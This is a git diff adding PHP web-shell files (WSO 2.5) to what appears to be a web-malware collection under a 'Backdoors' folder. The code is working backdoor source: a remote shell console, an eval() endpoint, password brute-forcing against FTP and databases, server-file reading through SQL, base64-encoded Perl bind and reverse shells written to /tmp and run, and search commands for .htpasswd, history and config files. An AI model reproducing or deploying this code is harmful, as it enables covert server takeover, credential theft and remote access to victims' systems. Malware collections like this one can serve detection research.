urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>'; + break; + } + echo '</div>'; + wsoFooter(); +} + +function actionConsole() { + if(!empty($_POST['p1']) && !empty($_POST['p2'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true); + $_POST['p1'] .= ' 2>&1'; + } elseif(!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0); + + if(isset($_POST['ajax'])) { + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true); + ob_start(); + echo "d.cf.cmd.value='';\n"; + $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0")); + if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) { + if(@chdir($match[1])) { + $GLOBALS['cwd'] = @getcwd(); + echo "c_='".$GLOBALS['cwd']."';"; + } + } + echo "d.cf.output.value+='".$temp."';"; + echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;"; + $temp = ob_get_clean(); + echo strlen($temp), "\n", $temp; + exit; + } + if(empty($_POST['ajax'])&&!empty($_POST['p1'])) + WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0); + wsoHeader(); + echo "<script> +if(window.Event) window.captureEvents(Event.KEYDOWN); +var cmds = new Array(''); +var cur = 0; +function kp(e) { + var n = (window.Event) ? e.which : e.keyCode; + if(n == 38) { + cur--; + if(cur>=0) + document.cf.cmd.value = cmds[cur]; + else + cur++; + } else if(n == 40) { + cur++; + if(cur < cmds.length) + document.cf.cmd.value = cmds[cur]; + else + cur--; + } +} +function add(cmd) { + cmds.pop(); + cmds.push(cmd); + cmds.push(''); + cur = cmds.length-1; +} +</script>"; + echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>'; + foreach($GLOBALS['aliases'] as $n => $v) { + if($v == '') { + echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>'; + continue; + } + echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>'; + } + + echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>'; + if(!empty($_POST['p1'])) { + echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1'])); + } + echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>'; + echo '</form></div><script>d.cf.cmd.focus();</script>'; + wsoFooter(); +} + +function actionLogout() { + setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); + die('bye!'); +} + +function actionSelfRemove() { + + if($_POST['p1'] == 'yes') + if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) + die('Shell has been removed'); + else + echo 'unlink error!'; + if($_POST['p1'] != 'yes') + wsoHeader(); + echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; + wsoFooter(); +} + +function actionBruteforce() { + wsoHeader(); + if( isset($_POST['proto']) ) { + echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; + if( $_POST['proto'] == 'ftp' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $fp = @ftp_connect($ip, $port?$port:21); + if(!$fp) return false; + $res = @ftp_login($fp, $login, $pass); + @ftp_close($fp); + return $res; + } + } elseif( $_POST['proto'] == 'mysql' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass); + @mysql_close($res); + return $res; + } + } elseif( $_POST['proto'] == 'pgsql' ) { + function wsoBruteForce($ip,$port,$login,$pass) { + $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; + $res = @pg_connect($str); + @pg_close($res); + return $res; + } + } + $success = 0; + $attempts = 0; + $server = explode(":", $_POST['server']); + if($_POST['type'] == 1) { + $temp = @file('/etc/passwd'); + if( is_array($temp) ) + foreach($temp as $line) { + $line = explode(":", $line); + ++$attempts; + if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; + } + if(@$_POST['reverse']) { + $tmp = ""; + for($i=strlen($line[0])-1; $i>=0; --$i) + $tmp .= $line[0][$i]; + ++$attempts; + if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { + $success++; + echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); + } + } + } + } elseif($_POST['type'] == 2) { + $temp = @file($_POST['dict']); + if( is_array($temp) ) + foreach($temp as $line) { + $line = trim($line); + ++$attempts; + if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) { + $success++; + echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; + } + } + } + echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; + } + echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' + .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' + .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' + .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' + .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' + .'<span>Server:port</span></td>' + .'<td><input type=text name=server value="127.0.0.1"></td></tr>' + .'<tr><td><span>Brute type</span></td>' + .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' + .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' + .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' + .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' + .'<td><input type=text name=login value="root"></td></tr>' + .'<tr><td><span>Dictionary</span></td>' + .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' + .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>'; + echo '</div><br>'; + wsoFooter(); +} + +function actionSql() { + class DbClass { + var $type; + var $link; + var $res; + function DbClass($type) { + $this->type = $type; + } + function connect($host, $user, $pass, $dbname){ + switch($this->type) { + case 'mysql': + if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; + break; + case 'pgsql': + $host = explode(':', $host); + if(!$host[1]) $host[1]=5432; + if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; + break; + } + return false; + } + function selectdb($db) { + switch($this->type) { + case 'mysql': + if (@mysql_select_db($db))return true; + break; + } + return false; + } + function query($str) { + switch($this->type) { + case 'mysql': + return $this->res = @mysql_query($str); + break; + case 'pgsql': + return $this->res = @pg_query($this->link,$str); + break; + } + return false; + } + function fetch() { + $res = func_num_args()?func_get_arg(0):$this->res; + switch($this->type) { + case 'mysql': + return @mysql_fetch_assoc($res); + break; + case 'pgsql': + return @pg_fetch_assoc($res); + break; + } + return false; + } + function listDbs() { + switch($this->type) { + case 'mysql': + return $this->query("SHOW databases"); + break; + case 'pgsql': + return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); + break; + } + return false; + } + function listTables() { + switch($this->type) { + case 'mysql': + return $this->res = $this->query('SHOW TABLES'); + break; + case 'pgsql': + return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); + break; + } + return false; + } + function error() { + switch($this->type) { + case 'mysql': + return @mysql_error(); + break; + case 'pgsql': + return @pg_last_error(); + break; + } + return false; + } + function setCharset($str) { + switch($this->type) { + case 'mysql': + if(function_exists('mysql_set_charset')) + return @mysql_set_charset($str, $this->link); + else + $this->query('SET CHARSET '.$str); + break; + case 'pgsql': + return @pg_set_client_encoding($this->link, $str); + break; + } + return false; + } + function loadFile($str) { + switch($this->type) { + case 'mysql': + return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); + break; + case 'pgsql': + $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;"); + $r=array(); + while($i=$this->fetch()) + $r[] = $i['file']; + $this->query('drop table wso2'); + return array('file'=>implode("\n",$r)); + break; + } + return false; + } + function dump($table, $fp = false) { + switch($this->type) { + case 'mysql': + $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); + $create = mysql_fetch_array($res); + $sql = $create[1].";\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + $this->query('SELECT * FROM `'.$table.'`'); + $i = 0; + $head = true; + while($item = $this->fetch()) { + $sql = ''; + if($i % 1000 == 0) { + $head = true; + $sql = ";\n\n"; + } + + $columns = array(); + foreach($item as $k=>$v) { + if($v === null) + $item[$k] = "NULL"; + elseif(is_int($v)) + $item[$k] = $v; + else + $item[$k] = "'".@mysql_real_escape_string($v)."'"; + $columns[] = "`".$k."`"; + } + if($head) { + $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')'; + $head = false; + } else + $sql .= "\n\t,(".implode(", ", $item).')'; + if($fp) fwrite($fp, $sql); else echo($sql); + $i++; + } + if(!$head) + if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); + break; + case 'pgsql': + $this->query('SELECT * FROM '.$table); + while($item = $this->fetch()) { + $columns = array(); + foreach($item as $k=>$v) { + $item[$k] = "'".addslashes($v)."'"; + $columns[] = $k; + } + $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n"; + if($fp) fwrite($fp, $sql); else echo($sql); + } + break; + } + return false; + } + }; + $db = new DbClass($_POST['type']); + if(@$_POST['p2']=='download') { + $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); + $db->selectdb($_POST['sql_base']); + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + if(empty($_POST['file'])) { + ob_start("ob_gzhandler", 4096); + header("Content-Disposition: attachment; filename=dump.sql"); + header("Content-Type: text/plain"); + foreach($_POST['tbl'] as $v) + $db->dump($v); + exit; + } elseif($fp = @fopen($_POST['file'], 'w')) { + foreach($_POST['tbl'] as $v) + $db->dump($v, $fp); + fclose($fp); + unset($_POST['p2']); + } else + die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); + } + wsoHeader(); + echo " +<h1>Sql browser</h1><div class=content> +<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> +<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> +<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> +<td><select name='type'><option value='mysql' "; + if(@$_POST['type']=='mysql')echo 'selected'; +echo ">MySql</option><option value='pgsql' "; +if(@$_POST['type']=='pgsql')echo 'selected'; +echo ">PostgreSql</option></select></td> +<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> +<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> +<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>"; + $tmp = "<input type=text name=sql_base value=''>"; + if(isset($_POST['sql_host'])){ + if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { + switch($_POST['charset']) { + case "Windows-1251": $db->setCharset('cp1251'); break; + case "UTF-8": $db->setCharset('utf8'); break; + case "KOI8-R": $db->setCharset('koi8r'); break; + case "KOI8-U": $db->setCharset('koi8u'); break; + case "cp866": $db->setCharset('cp866'); break; + } + $db->listDbs(); + echo "<select name=sql_base><option value=''></option>"; + while($item = $db->fetch()) { + list($key, $value) = each($item); + echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; + } + echo '</select>'; + } + else echo $tmp; + }else + echo $tmp; + echo "</td> + <td><input type=submit value='>>' onclick='fs(d.sf);'></td> + <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> + </tr> + </table> + <script> + s_db='".@addslashes($_POST['sql_base'])."'; + function fs(f) { + if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; + if(f.p1) f.p1.value=''; + if(f.p2) f.p2.value=''; + if(f.p3) f.p3.value=''; + } + } + function st(t,l) { + d.sf.p1.value = 'select'; + d.sf.p2.value = t; + if(l && d.sf.p3) d.sf.p3.value = l; + d.sf.submit(); + } + function is() { + for(i=0;i<d.sf.elements['tbl[]'].length;++i) + d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; + } + </script>"; + if(isset($db) && $db->link){ + echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; + if(!empty($_POST['sql_base'])){ + $db->selectdb($_POST['sql_base']); + echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; + $tbls_res = $db->listTables(); + while($item = $db->fetch($tbls_res)) { + list($key, $value) = each($item); + if(!empty($_POST['sql_count'])) + $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); + $value = htmlspecialchars($value); + echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>"; + } + echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; + if(@$_POST['p1'] == 'select') { + $_POST['p1'] = 'query'; + $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; + $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); + $num = $db->fetch(); + $pages = ceil($num['n'] / 30); + echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; + echo " of $pages"; + if($_POST['p3'] > 1) + echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>"; + if($_POST['p3'] < $pages) + echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>"; + $_POST['p3']--; + if($_POST['type']=='pgsql') + $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); + else + $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; + echo "<br><br>"; + } + if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { + $db->query(@$_POST['p2']); + if($db->res !== false) { + $title = false; + echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; + $line = 1; + while($item = $db->fetch()) { + if(!$title) { + echo '<tr>'; + foreach($item as $key => $value) + echo '<th>'.$key.'</th>'; + reset($item); + $title=true; + echo '</tr><tr>'; + $line = 2; + } + echo '<tr class="l'.$line.'">'; + $line = $line==1?2:1; + foreach($item as $key => $value) { + if($value == null) + echo '<td><i>null</i></td>'; + else + echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; + } + echo '</tr>'; + } + echo '</table>'; + } else { + echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; + } + } + echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; + if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) + echo htmlspecialchars($_POST['p2']); + echo "</textarea><br/><input type=submit value='Execute'>"; + echo "</td></tr>"; + } + echo "</table></form><br/>"; + if($_POST['type']=='mysql') { + $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); + if($db->fetch()) + echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; + } + if(@$_POST['p1'] == 'loadfile') { + $file = $db->loadFile($_POST['p2']); + echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; + } + } else { + echo htmlspecialchars($db->error()); + } + echo '</div>'; + wsoFooter(); +} +function actionNetwork() { + wsoHeader(); + $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"; + $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="; + echo "<h1>Network tools</h1><div class=content> + <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\"> + <span>Bind port to /bin/sh [perl]</span><br/> + Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> + </form> + <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\"> + <span>Back-connect [perl]</span><br/> + Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'> + </form><br>"; + if(isset($_POST['p1'])) { + function cf($f,$t) { + $w = @fopen($f,"w") or @function_exists('file_put_contents'); + if($w){ + @fwrite($w,@base64_decode($t)); + @fclose($w); + } + } + if($_POST['p1'] == 'bpp') { + cf("/tmp/bp.pl",$bind_port_p); + $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &"); + sleep(1); + echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>"; + unlink("/tmp/bp.pl"); + } + if($_POST['p1'] == 'bcp') { + cf("/tmp/bc.pl",$back_connect_p); + $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &"); + sleep(1); + echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>"; + unlink("/tmp/bc.pl"); + } + } + echo '</div>'; + wsoFooter(); +} +function actionRC() { + if(!@$_POST['p1']) { + $a = array( + "uname" => php_uname(), + "php_version" => phpversion(), + "wso_version" => WSO_VERSION, + "safemode" => @ini_get('safe_mode') + ); + echo serialize($a); + } else { + eval($_POST['p1']); + } +} +if( empty($_POST['a']) ) + if(isset($default_action) && function_exists('action' . $default_action)) + $_POST['a'] = $default_action; + else + $_POST['a'] = 'SecInfo'; +if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) ) + call_user_func('action' . $_POST['a']); +exit; \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/wso2.5.php b/web-malware-collection-master/Backdoors/PHP/wso2.5.php new file mode 100755 index 0000000..78aaadf --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/wso2.5.php @@ -0,0 +1,1516 @@ +<?php + + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +@ini_set('max_execution_time',0); +@set_time_limit(0); +@set_magic_quotes_runtime(0); +@define('WSO_VERSION', '2.5'); + +if(get_magic_quotes_gpc()) { + function WSOstripslashes($array) { + return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); + } + $_POST = WSOstripslashes($_POST); + $_COOKIE = WSOstripslashes($_COOKIE); +} + +function wsoLogin() { + die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); +} + +function WSOsetcookie($k, $v) { + $_COOKIE[$k] = $v; + setcookie($k, $v); +} + +if(!empty($auth_pass)) { + if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) + WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); + + if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) + wsoLogin(); +} + +if(strtolower(substr(PHP_OS,0,3)) == "win") + $os = 'win'; +else + $os = 'nix'; + +$safe_mode = @ini_get('safe_mode'); +if(!$safe_mode) + error_reporting(0); + +$disable_functions = @ini_get('disable_functions'); +$home_cwd = @getcwd(); +if(isset($_POST['c'])) + @chdir($_POST['c']); +$cwd = @getcwd(); +if($os == 'win') { + $home_cwd = str_replace("\\", "/", $home_cwd); + $cwd = str_replace("\\", "/", $cwd); +} +if($cwd[strlen($cwd)-1] != '/') + $cwd .= '/'; + +if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) + $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; + +if($os == 'win') + $aliases = array( + "List Directory" => "dir", + "Find index.php in current dir" => "dir /s /w /b index.php", + "Find *config*.php in current dir" => "dir /s /w /b *config*.php", + "Show active connections" => "netstat -an", + "Show running services" => "net start", + "User accounts" => "net user", + "Show computers" => "net view", + "ARP Table" => "arp -a", + "IP Configuration" => "ipconfig /all" + ); +else + $aliases = array( + "List dir" => "ls -lha", + "list file attributes on a Linux second extended file system" => "lsattr -va", + "show opened ports" => "netstat -an | grep -i listen", + "process status" => "ps aux", + "Find" => "", + "find all suid files" => "find / -type f -perm -04000 -ls", + "find suid files in current dir" => "find . -type f -perm -04000 -ls", + "find all sgid files" => "find / -type f -perm -02000 -ls", + "find sgid files in current dir" => "find . -type f -perm -02000 -ls", + "find config.inc.php files" => "find / -type f -name config.inc.php", + "find config* files" => "find / -type f -name \"config*\"", + "find config* files in current dir" => "find . -type f -name \"config*\"", + "find all writable folders and files" => "find / -perm -2 -ls", + "find all writable folders and files in current dir" => "find . -perm -2 -ls", + "find all service.pwd files" => "find / -type f -name service.pwd", + "find service.pwd files in current dir" => "find . -type f -name service.pwd", + "find all .htpasswd files" => "find / -type f -name .htpasswd", + "find .htpasswd files in current dir" => "find . -type f -name .htpasswd", + "find all .bash_history files" => "find / -type f -name .bash_history", + "find .bash_history files in current dir" => "find . -type f -name .bash_history", + "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", + "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", + "Locate" => "", + "locate httpd.conf files" => "locate httpd.conf", + "locate vhosts.conf files" => "locate vhosts.conf", + "locate proftpd.conf files" => "locate proftpd.conf", + "locate psybnc.conf files" => "locate psybnc.conf", + "locate my.conf files" => "locate my.conf", + "locate admin.php files" =>"locate admin.php", + "locate cfg.php files" => "locate cfg.php", + "locate conf.php files" => "locate conf.php", + "locate config.dat files" => "locate config.dat", + "locate config.php files" => "locate config.php", + "locate config.inc files" => "locate config.inc", + "locate config.inc.php" => "locate config.inc.php", + "locate config.default.php files" => "locate config.default.php", + "locate config* files " => "locate config", + "locate .conf files"=>"locate '.conf'", + "locate .pwd files" => "locate '.pwd'", + "locate .sql files" => "locate '.sql'", + "locate .htpasswd files" => "locate '.htpasswd'", + "locate .bash_history files" => "locate '.bash_history'", + "locate .mysql_history files" => "locate '.mysql_history'", + "locate .fetchmailrc files" => "locate '.fetchmailrc'", + "locate backup files" => "locate backup", + "locate dump files" => "locate dump", + "locate priv files" => "locate priv" + ); + +function wsoHeader() { + if(empty($_POST['charset'])) + $_POST['charset'] = $GLOBALS['default_charset']; + global $color; + if(!$color) $color = 'white'; + echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> +<style> +body{background-color:#444;color:#e1e1e1;} +body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } +table.info{ color:#fff;background-color:#222; } +span,h1,a{ color: $color !important; } +span{ font-weight: bolder; } +h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } +div.content{ padding: 5px;margin-left:5px;background-color:#333; } +a{ text-decoration:none; } +a:hover{ text-decoration:underline; } +.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } +.bigarea{ width:100%;height:300px; } +input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } +form{ margin:0px; } +#toolsTbl{ text-align:center; } +.toolsInp{ width: 300px } +.main th{text-align:left;background-color:#5e5e5e;} +.main tr:hover{background-color:#5e5e5e} +.l1{background-color:#444} +.l2{background-color:#333} +pre{font-family:Courier,Monospace;} +</style> +<script> + var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; + var a_ = '" . htmlspecialchars(@$_POST['a']) ."' + var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; + var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; + var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; + var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; + var d = document; + function set(a,c,p1,p2,p3,charset) { + if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; + if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; + if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; + if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; + if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; + if(charset!=null)d.mf.charset.value=charset;else 